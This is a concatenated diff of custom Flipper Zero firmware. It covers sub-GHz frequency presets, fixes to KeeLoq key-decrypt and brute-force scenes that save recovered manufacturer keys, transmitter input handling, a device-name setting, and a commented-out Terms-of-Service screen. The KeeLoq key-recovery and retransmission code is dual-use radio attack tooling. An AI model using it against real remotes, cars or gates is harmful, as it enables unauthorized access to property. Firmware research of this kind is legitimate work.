# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
|
||||
#Frequency: 300000000
|
||||
#Frequency: 310000000
|
||||
#Frequency: 320000000
|
||||
|
||||
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
|
||||
#Hopper_frequency: 300000000
|
||||
#Hopper_frequency: 310000000
|
||||
#Hopper_frequency: 310000000
|
||||
|
||||
# Custom preset
|
||||
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
|
||||
|
||||
#Custom_preset_name: FM95
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
|
||||
#Custom_preset_name: FM15k
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
|
||||
|
||||
#Custom_preset_name: Pagers
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
#Custom_preset_name: AM_1
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
#Custom_preset_name: AM_2
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
# Presets used for preset hopping mode (cycles through these modulations)
|
||||
#Hopping_Preset: AM650
|
||||
#Hopping_Preset: FM238
|
||||
#Hopping_Preset: FM476
|
||||
@@ -1,5 +1,6 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
|
||||
enum {
|
||||
@@ -22,10 +23,13 @@ static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_
|
||||
flipper_format_rewind(fff);
|
||||
uint8_t key_data[8] = {0};
|
||||
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
|
||||
*out_fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
*out_hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
uint64_t raw = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
raw = (raw << 8) | key_data[i];
|
||||
}
|
||||
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
|
||||
*out_fix = (uint32_t)(reversed >> 32);
|
||||
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
#include "../helpers/subghz_txrx_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/subghz/environment.h>
|
||||
#include <lib/subghz/subghz_keystore.h>
|
||||
#include <furi.h>
|
||||
@@ -137,10 +138,13 @@ void subghz_scene_keeloq_decrypt_on_enter(void* context) {
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
uint64_t raw = 0;
|
||||
for(uint8_t i = 0; i < 8; i++) {
|
||||
raw = (raw << 8) | key_data[i];
|
||||
}
|
||||
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
|
||||
ctx->fix = (uint32_t)(reversed >> 32);
|
||||
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
|
||||
}
|
||||
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
@@ -188,7 +192,7 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
|
||||
subghz_keeloq_keys_add(
|
||||
subghz->keeloq_keys_manager,
|
||||
ctx->recovered_mfkey,
|
||||
ctx->recovered_type,
|
||||
KEELOQ_LEARNING_SIMPLE,
|
||||
key_name);
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
@@ -198,7 +202,7 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
|
||||
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
|
||||
entry->name = furi_string_alloc_set(key_name);
|
||||
entry->key = ctx->recovered_mfkey;
|
||||
entry->type = ctx->recovered_type;
|
||||
entry->type = KEELOQ_LEARNING_SIMPLE;
|
||||
return true;
|
||||
|
||||
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
|
||||
@@ -235,11 +239,22 @@ bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event
|
||||
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
}
|
||||
|
||||
flipper_format_rewind(fff);
|
||||
subghz_protocol_decoder_base_deserialize(
|
||||
subghz_txrx_get_decoder(subghz->txrx), fff);
|
||||
|
||||
const char* save_path = NULL;
|
||||
if(subghz_path_is_file(subghz->file_path)) {
|
||||
save_path = furi_string_get_cstr(subghz->file_path);
|
||||
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
|
||||
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
|
||||
}
|
||||
if(save_path) {
|
||||
subghz_save_protocol_to_file(
|
||||
subghz,
|
||||
subghz_txrx_get_fff_data(subghz->txrx),
|
||||
furi_string_get_cstr(subghz->file_path));
|
||||
save_path);
|
||||
furi_string_set_str(subghz->file_path, save_path);
|
||||
}
|
||||
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
|
||||
@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
} else if(event.event == SubGhzCustomEventSceneExit) {
|
||||
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
|
||||
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
|
||||
|
||||
if(state == SubGhzRxKeyStateExit) {
|
||||
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
|
||||
if(!furi_string_empty(subghz->file_path_tmp)) {
|
||||
subghz_delete_file(subghz);
|
||||
}
|
||||
}
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart);
|
||||
if(!scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart)) {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
} else {
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
|
||||
}
|
||||
//CC1101 Stop RX -> Start TX
|
||||
subghz_txrx_hopper_pause(subghz->txrx);
|
||||
// key concept: we start endless TX until user release OK button, and after this we send last
|
||||
// protocols repeats - this guarantee that one press OK will
|
||||
// be guarantee send the required minimum protocol data packets
|
||||
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
subghz_block_generic_global.endless_tx = true;
|
||||
if(!subghz_tx_start(
|
||||
subghz,
|
||||
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
|
||||
subghz_txrx_rx_start(subghz->txrx);
|
||||
subghz_txrx_hopper_unpause(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateRx;
|
||||
} else {
|
||||
// key concept: we start endless TX until user release OK button, and after this we send last
|
||||
// protocols repeats - this guarantee that one press OK will
|
||||
// be guarantee send the required minimum protocol data packets
|
||||
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
subghz_block_generic_global.endless_tx = true;
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
|
||||
//CC1101 Stop Tx -> next tick event Start RX
|
||||
// user release OK
|
||||
|
||||
@@ -94,6 +94,10 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) {
|
||||
scene_manager_search_and_switch_to_previous_scene(
|
||||
subghz->scene_manager, SubGhzSceneStart);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterPageChange) {
|
||||
// Page changed via OK button, refresh display
|
||||
subghz_scene_transmitter_update_data_show(subghz);
|
||||
return true;
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterError) {
|
||||
furi_string_set(subghz->error_str, "Protocol not\nfound!");
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub);
|
||||
|
||||
@@ -403,6 +403,7 @@ int32_t subghz_app(void* p) {
|
||||
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
|
||||
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
|
||||
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
|
||||
} else {
|
||||
scene_manager_set_scene_state(
|
||||
|
||||
@@ -155,23 +155,68 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
|
||||
true);
|
||||
|
||||
if(can_be_sent) {
|
||||
if(event->key == InputKeyOk && event->type == InputTypePress) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
subghz_transmitter->view,
|
||||
SubGhzViewTransmitterModel * model,
|
||||
{
|
||||
furi_string_reset(model->temp_button_id);
|
||||
model->draw_temp_button = false;
|
||||
},
|
||||
true);
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
|
||||
return true;
|
||||
} else if(event->key == InputKeyOk && event->type == InputTypeRelease) {
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
|
||||
return true;
|
||||
// Long press d-pad: set custom btn + long flag (no send here, send happens below)
|
||||
if(event->type == InputTypeLong) {
|
||||
if(event->key == InputKeyUp) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyDown) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyLeft) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyRight) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
}
|
||||
}
|
||||
|
||||
// OK button handling
|
||||
if(event->key == InputKeyOk) {
|
||||
if(event->type == InputTypePress) {
|
||||
if(subghz_custom_btn_has_pages()) {
|
||||
// Multi-page protocol: cycle pages, do NOT send
|
||||
uint8_t max_pages = subghz_custom_btn_get_max_pages();
|
||||
uint8_t next_page = (subghz_custom_btn_get_page() + 1) % max_pages;
|
||||
subghz_custom_btn_set_page(next_page);
|
||||
// Reset d-pad selection to OK so display shows original btn
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
subghz_transmitter->view,
|
||||
SubGhzViewTransmitterModel * model,
|
||||
{
|
||||
furi_string_reset(model->temp_button_id);
|
||||
furi_string_printf(model->temp_button_id, "P%u", next_page + 1);
|
||||
model->draw_temp_button = true;
|
||||
},
|
||||
true);
|
||||
// Refresh display with new page mapping
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterPageChange, subghz_transmitter->context);
|
||||
return true;
|
||||
}
|
||||
// Normal protocol: send original button
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
subghz_transmitter->view,
|
||||
SubGhzViewTransmitterModel * model,
|
||||
{
|
||||
furi_string_reset(model->temp_button_id);
|
||||
model->draw_temp_button = false;
|
||||
},
|
||||
true);
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
|
||||
return true;
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
// Only stop TX if we actually started it (not a page toggle)
|
||||
if(!subghz_custom_btn_has_pages()) {
|
||||
subghz_transmitter->callback(
|
||||
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} // Finish "OK" key processing
|
||||
|
||||
if(subghz_custom_btn_is_allowed()) {
|
||||
|
||||
@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->pin_input_view = desktop_view_pin_input_alloc();
|
||||
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
|
||||
desktop->slideshow_view = desktop_view_slideshow_alloc();
|
||||
//desktop->tos_view = desktop_view_tos_alloc();
|
||||
|
||||
desktop->main_view_stack = view_stack_alloc();
|
||||
desktop->main_view = desktop_main_alloc();
|
||||
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->view_dispatcher,
|
||||
DesktopViewIdSlideshow,
|
||||
desktop_view_slideshow_get_view(desktop->slideshow_view));
|
||||
//view_dispatcher_add_view(
|
||||
//desktop->view_dispatcher,
|
||||
//DesktopViewIdTos,
|
||||
//desktop_view_tos_get_view(desktop->tos_view));
|
||||
|
||||
// Lock icon
|
||||
desktop->lock_icon_viewport = view_port_alloc();
|
||||
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
|
||||
|
||||
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
|
||||
}
|
||||
} //else {
|
||||
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
//}
|
||||
|
||||
if(!furi_hal_version_do_i_belong_here()) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
|
||||
|
||||
@@ -11,6 +11,8 @@
|
||||
#include "views/desktop_view_lock_menu.h"
|
||||
#include "views/desktop_view_debug.h"
|
||||
#include "views/desktop_view_slideshow.h"
|
||||
//#include "views/desktop_view_tos.h"
|
||||
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_stack.h>
|
||||
|
||||
@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
|
||||
switch(event.event) {
|
||||
case DesktopSlideshowCompleted:
|
||||
scene_manager_previous_scene(desktop->scene_manager);
|
||||
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
consumed = true;
|
||||
break;
|
||||
case DesktopSlideshowPoweroff:
|
||||
|
||||
@@ -3,7 +3,7 @@ App(
|
||||
name="System",
|
||||
apptype=FlipperAppType.SETTINGS,
|
||||
entry_point="system_settings_app",
|
||||
requires=["gui", "locale"],
|
||||
stack_size=1 * 1024,
|
||||
requires=["gui", "locale", "storage"],
|
||||
stack_size=2 * 1024,
|
||||
order=30,
|
||||
)
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
#include <loader/loader.h>
|
||||
#include <lib/toolbox/value_index.h>
|
||||
#include <locale/locale.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
#include <power/power_service/power.h>
|
||||
#include <applications/services/namechanger/namechanger.h>
|
||||
|
||||
const char* const log_level_text[] = {
|
||||
"Default",
|
||||
@@ -208,6 +211,81 @@ static void filename_scheme_changed(VariableItem* item) {
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Device Name --------------------------------------------------------
|
||||
|
||||
#define DEVICE_NAME_ITEM_INDEX 11
|
||||
|
||||
static bool system_settings_device_name_validator(
|
||||
const char* text,
|
||||
FuriString* error,
|
||||
void* context) {
|
||||
UNUSED(context);
|
||||
for(; *text; ++text) {
|
||||
const char c = *text;
|
||||
if((c < '0' || c > '9') && (c < 'A' || c > 'Z') && (c < 'a' || c > 'z')) {
|
||||
furi_string_printf(error, "Letters and\nnumbers only!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void system_settings_device_name_callback(void* context) {
|
||||
SystemSettings* app = context;
|
||||
|
||||
// Save name to SD card (same path as namechanger service)
|
||||
FlipperFormat* file = flipper_format_file_alloc(app->storage);
|
||||
bool saved = false;
|
||||
do {
|
||||
if(app->device_name[0] == '\0') {
|
||||
// Empty name -> remove file to restore real name
|
||||
storage_simply_remove(app->storage, NAMECHANGER_PATH);
|
||||
saved = true;
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break;
|
||||
if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, NAMECHANGER_VERSION)) break;
|
||||
if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break;
|
||||
saved = true;
|
||||
} while(false);
|
||||
flipper_format_free(file);
|
||||
|
||||
if(saved) {
|
||||
// Reboot to apply
|
||||
Power* power = furi_record_open(RECORD_POWER);
|
||||
power_reboot(power, PowerBootModeNormal);
|
||||
} else {
|
||||
// Go back silently on failure
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
}
|
||||
}
|
||||
|
||||
static void system_settings_enter_callback(void* context, uint32_t index) {
|
||||
SystemSettings* app = context;
|
||||
if(index == DEVICE_NAME_ITEM_INDEX) {
|
||||
text_input_reset(app->text_input);
|
||||
text_input_set_header_text(app->text_input, "Device Name (empty=reset)");
|
||||
text_input_set_validator(
|
||||
app->text_input, system_settings_device_name_validator, NULL);
|
||||
text_input_set_minimum_length(app->text_input, 0);
|
||||
text_input_set_result_callback(
|
||||
app->text_input,
|
||||
system_settings_device_name_callback,
|
||||
app,
|
||||
app->device_name,
|
||||
FURI_HAL_VERSION_ARRAY_NAME_LENGTH,
|
||||
false);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewTextInput);
|
||||
}
|
||||
}
|
||||
|
||||
static uint32_t system_settings_text_input_back(void* context) {
|
||||
UNUSED(context);
|
||||
return SystemSettingsViewVarItemList;
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
static uint32_t system_settings_exit(void* context) {
|
||||
UNUSED(context);
|
||||
return VIEW_NONE;
|
||||
@@ -218,6 +296,7 @@ SystemSettings* system_settings_alloc(void) {
|
||||
|
||||
// Load settings
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
@@ -314,6 +393,19 @@ SystemSettings* system_settings_alloc(void) {
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, filename_scheme[value_index]);
|
||||
|
||||
// Device Name (index = DEVICE_NAME_ITEM_INDEX = 11)
|
||||
const char* current_name = furi_hal_version_get_name_ptr();
|
||||
strlcpy(
|
||||
app->device_name,
|
||||
current_name ? current_name : "",
|
||||
FURI_HAL_VERSION_ARRAY_NAME_LENGTH);
|
||||
item = variable_item_list_add(app->var_item_list, "Device Name", 0, NULL, app);
|
||||
variable_item_set_current_value_text(
|
||||
item, app->device_name[0] != '\0' ? app->device_name : "<default>");
|
||||
|
||||
variable_item_list_set_enter_callback(
|
||||
app->var_item_list, system_settings_enter_callback, app);
|
||||
|
||||
view_set_previous_callback(
|
||||
variable_item_list_get_view(app->var_item_list), system_settings_exit);
|
||||
view_dispatcher_add_view(
|
||||
@@ -321,6 +413,15 @@ SystemSettings* system_settings_alloc(void) {
|
||||
SystemSettingsViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
// TextInput for device name
|
||||
app->text_input = text_input_alloc();
|
||||
view_set_previous_callback(
|
||||
text_input_get_view(app->text_input), system_settings_text_input_back);
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
SystemSettingsViewTextInput,
|
||||
text_input_get_view(app->text_input));
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
|
||||
return app;
|
||||
@@ -328,12 +429,16 @@ SystemSettings* system_settings_alloc(void) {
|
||||
|
||||
void system_settings_free(SystemSettings* app) {
|
||||
furi_assert(app);
|
||||
// TextInput
|
||||
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewTextInput);
|
||||
text_input_free(app->text_input);
|
||||
// Variable item list
|
||||
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
// View dispatcher
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
// Records
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
furi_record_close(RECORD_GUI);
|
||||
free(app);
|
||||
}
|
||||
|
||||
@@ -2,17 +2,24 @@
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_version.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/text_input.h>
|
||||
#include <storage/storage.h>
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
VariableItemList* var_item_list;
|
||||
TextInput* text_input;
|
||||
Storage* storage;
|
||||
char device_name[FURI_HAL_VERSION_ARRAY_NAME_LENGTH];
|
||||
} SystemSettings;
|
||||
|
||||
typedef enum {
|
||||
SystemSettingsViewVarItemList,
|
||||
SystemSettingsViewTextInput,
|
||||
} SystemSettingsView;
|
||||
|
||||
246
applications/system/FZ-ChiefCooker/.clang-format
Normal file
@@ -0,0 +1,246 @@
|
||||
---
|
||||
Language: Cpp
|
||||
AccessModifierOffset: -4
|
||||
AlignAfterOpenBracket: BlockIndent
|
||||
AlignArrayOfStructures: None
|
||||
AlignConsecutiveAssignments:
|
||||
Enabled: false
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: false
|
||||
AlignCompound: false
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveBitFields:
|
||||
Enabled: true
|
||||
AcrossEmptyLines: true
|
||||
AcrossComments: true
|
||||
AlignCompound: false
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveDeclarations:
|
||||
Enabled: false
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: false
|
||||
AlignCompound: false
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveMacros:
|
||||
Enabled: true
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: true
|
||||
AlignCompound: true
|
||||
AlignFunctionPointers: false
|
||||
PadOperators: true
|
||||
AlignConsecutiveShortCaseStatements:
|
||||
Enabled: false
|
||||
AcrossEmptyLines: false
|
||||
AcrossComments: false
|
||||
AlignCaseColons: false
|
||||
AlignEscapedNewlines: Left
|
||||
AlignOperands: Align
|
||||
AlignTrailingComments:
|
||||
Kind: Never
|
||||
OverEmptyLines: 0
|
||||
AllowAllArgumentsOnNextLine: true
|
||||
AllowAllParametersOfDeclarationOnNextLine: false
|
||||
AllowBreakBeforeNoexceptSpecifier: Never
|
||||
AllowShortBlocksOnASingleLine: Never
|
||||
AllowShortCaseLabelsOnASingleLine: false
|
||||
AllowShortCompoundRequirementOnASingleLine: true
|
||||
AllowShortEnumsOnASingleLine: false
|
||||
AllowShortFunctionsOnASingleLine: None
|
||||
AllowShortIfStatementsOnASingleLine: WithoutElse
|
||||
AllowShortLambdasOnASingleLine: All
|
||||
AllowShortLoopsOnASingleLine: false
|
||||
AlwaysBreakAfterDefinitionReturnType: None
|
||||
AlwaysBreakAfterReturnType: None
|
||||
AlwaysBreakBeforeMultilineStrings: false
|
||||
AlwaysBreakTemplateDeclarations: Yes
|
||||
AttributeMacros:
|
||||
- __capability
|
||||
BinPackArguments: false
|
||||
BinPackParameters: false
|
||||
BitFieldColonSpacing: Both
|
||||
BraceWrapping:
|
||||
AfterCaseLabel: false
|
||||
AfterClass: false
|
||||
AfterControlStatement: Never
|
||||
AfterEnum: false
|
||||
AfterExternBlock: false
|
||||
AfterFunction: false
|
||||
AfterNamespace: false
|
||||
AfterObjCDeclaration: false
|
||||
AfterStruct: false
|
||||
AfterUnion: false
|
||||
BeforeCatch: false
|
||||
BeforeElse: false
|
||||
BeforeLambdaBody: false
|
||||
BeforeWhile: false
|
||||
IndentBraces: false
|
||||
SplitEmptyFunction: true
|
||||
SplitEmptyRecord: true
|
||||
SplitEmptyNamespace: true
|
||||
BreakAdjacentStringLiterals: true
|
||||
BreakAfterAttributes: Leave
|
||||
BreakAfterJavaFieldAnnotations: false
|
||||
BreakArrays: true
|
||||
BreakBeforeBinaryOperators: None
|
||||
BreakBeforeConceptDeclarations: Always
|
||||
BreakBeforeBraces: Attach
|
||||
BreakBeforeInlineASMColon: OnlyMultiline
|
||||
BreakBeforeTernaryOperators: false
|
||||
BreakConstructorInitializers: AfterColon
|
||||
BreakInheritanceList: AfterComma
|
||||
BreakStringLiterals: false
|
||||
ColumnLimit: 130
|
||||
CommentPragmas: '^ IWYU pragma:'
|
||||
CompactNamespaces: false
|
||||
ConstructorInitializerIndentWidth: 8
|
||||
ContinuationIndentWidth: 4
|
||||
Cpp11BracedListStyle: true
|
||||
DerivePointerAlignment: false
|
||||
DisableFormat: false
|
||||
EmptyLineAfterAccessModifier: Never
|
||||
EmptyLineBeforeAccessModifier: LogicalBlock
|
||||
ExperimentalAutoDetectBinPacking: false
|
||||
FixNamespaceComments: false
|
||||
ForEachMacros:
|
||||
- foreach
|
||||
- Q_FOREACH
|
||||
- BOOST_FOREACH
|
||||
- M_EACH
|
||||
IfMacros:
|
||||
- KJ_IF_MAYBE
|
||||
IncludeBlocks: Preserve
|
||||
IncludeCategories:
|
||||
- Regex: '.*'
|
||||
Priority: 1
|
||||
SortPriority: 0
|
||||
CaseSensitive: false
|
||||
- Regex: '^(<|"(gtest|gmock|isl|json)/)'
|
||||
Priority: 3
|
||||
SortPriority: 0
|
||||
CaseSensitive: false
|
||||
- Regex: '.*'
|
||||
Priority: 1
|
||||
SortPriority: 0
|
||||
CaseSensitive: false
|
||||
IncludeIsMainRegex: '(Test)?$'
|
||||
IncludeIsMainSourceRegex: ''
|
||||
IndentAccessModifiers: false
|
||||
IndentCaseBlocks: false
|
||||
IndentCaseLabels: false
|
||||
IndentExternBlock: AfterExternBlock
|
||||
IndentGotoLabels: true
|
||||
IndentPPDirectives: None
|
||||
IndentRequiresClause: false
|
||||
IndentWidth: 4
|
||||
IndentWrappedFunctionNames: true
|
||||
InsertBraces: false
|
||||
InsertNewlineAtEOF: true
|
||||
InsertTrailingCommas: None
|
||||
IntegerLiteralSeparator:
|
||||
Binary: 0
|
||||
BinaryMinDigits: 0
|
||||
Decimal: 0
|
||||
DecimalMinDigits: 0
|
||||
Hex: 0
|
||||
HexMinDigits: 0
|
||||
JavaScriptQuotes: Leave
|
||||
JavaScriptWrapImports: true
|
||||
KeepEmptyLinesAtTheStartOfBlocks: false
|
||||
KeepEmptyLinesAtEOF: false
|
||||
LambdaBodyIndentation: Signature
|
||||
LineEnding: DeriveLF
|
||||
MacroBlockBegin: ''
|
||||
MacroBlockEnd: ''
|
||||
MaxEmptyLinesToKeep: 1
|
||||
NamespaceIndentation: None
|
||||
ObjCBinPackProtocolList: Auto
|
||||
